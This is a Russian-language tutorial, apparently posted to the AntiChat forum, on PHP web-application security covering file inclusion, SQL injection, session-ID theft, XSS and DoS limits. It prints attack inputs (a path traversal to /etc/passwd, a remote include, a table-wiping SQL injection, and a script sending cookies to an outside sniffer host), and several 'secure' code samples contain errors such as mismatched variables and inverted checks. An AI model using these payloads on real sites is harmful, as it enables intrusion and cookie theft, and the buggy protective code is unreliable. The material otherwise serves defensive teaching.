By DIAgen for AntiChat
Это вторая версия пособия, я решил переделать ее полностью, дополнить тем, что сам использую для написания скриптов. Однозначно можно сказать, что примеры в основном будут касаться защите, так как проще сломать, чем сделать.
Простите меня, если в некоторых местах будут погрешности.
"Хакеры - люди вполне порядочные, и занимаются взломом вовсе не для того, чтобы навредить кому-то. Чем раньше кто-то найдет уязвимость в вашей программе, тем скорее вы ее исправите, поэтому деятельность хакеров-профессионалов можно даже рассматривать как полезную."
Имена файлов в URL
Большинство скриптов используют вспомогательные файлы, которые должны быть загружены в зависимости от выполняемой операции. В большинстве случаев имена файлов фиксированные, но в некоторых случаях это не удобно. Для загрузки не фиксированных файлов используют GET переменные (полученные из форм браузера), которые содержат информацию для загрузки файлов.
Включаемы файлы. Простейший пример
PHP код:
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
include "page/$p";
Обращение к скрипту выглядит так:
.../index.php?p=news.php
Уязвимость заключается в том, что можно прочитать произвольные файлы на сервере.
.../index,php?p=../../../../../etc/passwd
На данный момент etc/passwd предоставляет мало интереса, по сравнению со старыми версиями LUNIX, эту уязвимость можно применить для отображения .htaccess файлов, файлов конфигурации и т.д.
Попытка защиты.
PHP код:
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
include "page/$p.php";
Это блокирует загрузку etc/passwd и .htaccess, но можно вызвать скрипт с параметром
.../index.php?p=../index
Вызовет зацикливание скрипта, так же можно подключить служебные файлы, расположенные в закрытой директории.
Включаемые файлы: allow_url_fopen
PHP код:
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
chdir("page");
include "$p.php";
В этом скрипте возможно выполнение удаленного файла на сервере
.../index.php?p=http://user.ru/load
Не чего хорошего от этого ожидать не приходится, для того что бы запретить удаленный include файлов нужно указать в настройках php.ini allow_url_fopen=OFF, однако это блокирует fopen() и file_get_contents().
Методы разрешения.
Во многих статьях написано, что рекомендуется использовать оператор switch, но использовать его не удобно по следующим причинам: при добавлении новой страницы придется редактировать index.php; пропустив случайно break, придется долго искать, в чем же ошибка.
Наиболее рациональный способом является Ограничение набора символов, который жестко ограничивает диапазон символов, которые могут присутствовать в имени файла.
PHP код:
$ras="php";
chdir("page");
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
$p=preg_replace('/[^a-z0-9_-]+/s','',$p);
if(!@is_file("$p.$ras")) $p="error";
include "$p.$ext";
SQL-Injection
Функции PHP для работы с базами данных далеки от совершенства, работая на прямую с ними, возможны ошибки, приводящие к появлению уязвимостей.
Для примера возьмем такой код:
PHP код:
$sql="DELETE FROM".TOPICS_TABLE."
WHERE topic_id='$topic_id'
OR topic_moved_id='$topic_id'";
if(!($result=$db->sql_query($sql)))
{
messge_die(GENERAL_ERROR, 'Error in deleting post',
'',_LINE_,_FILE_,$sql);
}
Переменная $topic_id приходит из формы, если подставить index.php?topic_id=1’+OR+1!=’
В результате запроса превратится в такой вид:
PHP код:
DELETE FROM php_topics
WHERE topic_id='1' OR 1!=''
OR topic_moved_id='1' OR 1!=''
При выполнении скрипта, очисться вся таблица в базе данных. Значение переменных вставляется не в качестве данных, а в качестве участка sql-кода, который и будет затем выполнен.
Предыдущий скрипт следует записать таким образом:
PHP код:
$sql="DELETE FROM".TOPICS_TABLE."
WHERE topic_id='".addslashes($topic_id)."'
OR topic_moved_id='".addslashes($topic_id)."'";
if(!($result=$db->sql_query($sql)))
{
messge_die(GENERAL_ERROR, 'Error in deleting post',
'',_LINE_,_FILE_,$sql);
}
Используя функцию addslashes(), которая экранирует символы «'».
Недостатки magic_quotrs_gpc.
Используя magic_quotrs_gpc все пришедшие переменные из формы, уже содержат слеши перед опасными символами( например «’» и «”»).
PHP код:
<form action="<?=$_SERVER['SCRIPT_NAME']?>">
<input type="text" name="n"
value="<?=@htmlspecialchars(stripslashes($_REQUESR['n']))?>">
<input type="submet">
</form>
Допустим, что хостер выключил magic_quotrs_gpc, и отправив anti\’s мы получим anti’s, слеш потерялся из-за stripslashes(), отсюда следует делать проверку на вызов stripslashes(), если ключен magic_quotrs_gpc.
Решение есть уже давно, вместо экранирования и вставки переменных в запрос на их место помещаются специальные маркеры, вот эти функции:
PHP код:
function mysql_qw() {
$args = func_get_args();
$conn = null;
if (is_resource($args[0])) $conn = array_shift($args);
$query = call_user_func_array("mysql_make_qw", $args);
return $conn!==null? mysql_query($query, $conn) : mysql_query($query);
}
function mysql_make_qw() {
$args = func_get_args();
$tmpl =& $args[0];
$tmpl = str_replace("%", "%%", $tmpl);
$tmpl = str_replace("?", "%s", $tmpl);
foreach ($args as $i=>$v) {
if (!$i) continue;
if (is_int($v)) continue;
$args[$i] = "'".mysql_escape_string($v)."'";
}
for ($i=$c=count($args)-1; $i<$c+20; $i++)
$args[$i+1] = "UNKNOWN_PLACEHOLDER_$i";
return call_user_func_array("sprintf", $args);
}
Вот не большой пример.
PHP код:
$name="' OR '1";
//Допустимы запрос
echo mysql_make_qw('DELETE FROM people WHERE name=?', $name)."<br>"
//Недопустимый запрос
echo mysql_make_qw('DELETE FROM people WHERE name=? OR ?', $name)."<br>"
mysql_qw('DELETE FROM people WHERE name=? OR ?', $name)
or die(mysql_error());
В результате получим:
PHP код:
DELETE FROM people WHERE name='\' OR \'1'
DELETE FROM people WHERE name='\' OR \'1 OR id=UNKTNOWN_PLACEHOLDER_1
Unknow column 'UNKNOWM_PLACEHOLDER_1' in 'where clause'
Теперь любая попытка выполнить такого вида запроса заранее обречена на не удачу.
Кража SID
Я не буду описывать использование SID, а сразу о проблеме. Если узнать SID другого пользователя, можно подставить его в Cookies или подставить в URL, а последствия можно представить.
Случайное указание SID
Сам владелец сессии может оставить ее в виде ссылки в форуме или в гостевой книге, из которой не удален SID.Зайдя по этой ссылки, становишься владельцем SID. Конечно SID удаляется, если пользователь не проявляет ни какой деятельности.
Уязвимости в html-шаблонах
Например возьмем гостевую книгу, сообщения записываются в файл, допустим что тест с файла выводится без htmlspecialchars(), добавив в гостевую книгу
PHP код:
<script>window.open("http://snifer.ru/get.php?"+document.cookie,'new')</script>
Благодаря этому можно получить Cookies других пользователей.
Привязка Sid к IP-адресу
Этот метод привязки к ip очень распространен
PHP код:
$_SESSION['author']=true;
$_SESSION[‘ip’]=$_SERVER['REMOTE_ADDR'];
С крипт предоставляющий доступ к определенному ресурсу
PHP код:
if(!empty($_SESSION['author'] && $SESSION['ip']
!=@SERVER ['REMOTE_ADDR'])) {
//Доступ к ресурсу открыт
} else die("Доступа нет");
Конечно и у этого метода есть свои недостатки.
Противостоянии DoS-атакам
Перейдем сразу к дела, просто про DoS-атаки можно найти везде. Мы рассмотрим как можно противостоять DoS-атакам.
Ограничении ресурсов
Элементарную DoS-атаку может случайно выполнить любой пользователь, если запустит скрипт содержащий ошибку, что может привести к зацикливанию скрипта или захвату ресурсов сервера. Для решения, можно применять в скриптах директивы, которые можно установить не только ini.php, но и в скрипте используя функцию ini_set().
set_memory_limit() memory_limit()
Эти функции ограничивают максимальный объем памяти, который разрешено выделять скрипту. При превышение этого объема, скрипт принудительно завершается
max_execution_time() set_time_limit()
Ограничивают время работы сценария